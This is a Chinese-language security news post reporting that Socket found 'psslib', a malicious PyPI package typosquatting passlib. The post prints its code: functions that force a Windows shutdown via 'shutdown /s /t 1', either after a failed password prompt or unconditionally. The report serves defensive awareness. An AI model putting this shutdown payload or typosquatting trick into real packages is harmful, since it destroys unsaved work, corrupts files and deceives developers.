恶意Python包“psslib“实施拼写错误攻击,可强制关闭Windows系统

Python恶意软件与拼写错误攻击

Socket威胁研究团队发现一个名为psslib的恶意Python包,该软件包伪装成提供密码安全功能,实则会突然关闭Windows系统。这个由化名umaraq的威胁行为者开发的软件包,是对知名密码哈希工具库passlib的拼写错误仿冒(typosquatting)。passlib作为数百万开发者信赖的工具库,每月下载量超过890万次。

恶意代码工作机制

该恶意包通过名为spc()的函数伪装密码保护功能,使用easygui.enterbox()获取用户输入。当输入值与预设密码不匹配时,会立即执行Windows关机命令(shutdown /s /t 1),使系统在一秒内关闭:

def spc(password):
  # 恶意代码:输入错误时强制系统关机
  if easygui.enterbox('enter password:-') != password:
    os.system("shutdown /s /t 1") # 1秒后关机

此外,psslib还包含两个无需任何验证即可关闭系统的函数:

def src():
  # 无需用户输入直接强制关机
  os.system("shutdown /s /t 1")
  
def error(message):
  # 写入错误信息后强制关机
  sys.stderr.write(message)
  os.system("shutdown /s /t 1")

攻击影响与针对性

Socket指出,这种恶意软件专门针对基于Windows的开发环境。当开发者在具有提升权限的环境中运行时,即使有限使用该库也会立即危及系统。攻击将导致:

  • 未保存工作和数据丢失
  • 打开的文件和数据库损坏
  • 运行中的服务中断

虽然由于操作系统命令差异,该恶意负载在Linux或macOS上会无害失效,但其针对Windows的特性显示出明确的攻击意图。Socket的AI扫描器已将该包标记为恶意软件,因其具有破坏性系统关机行为。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值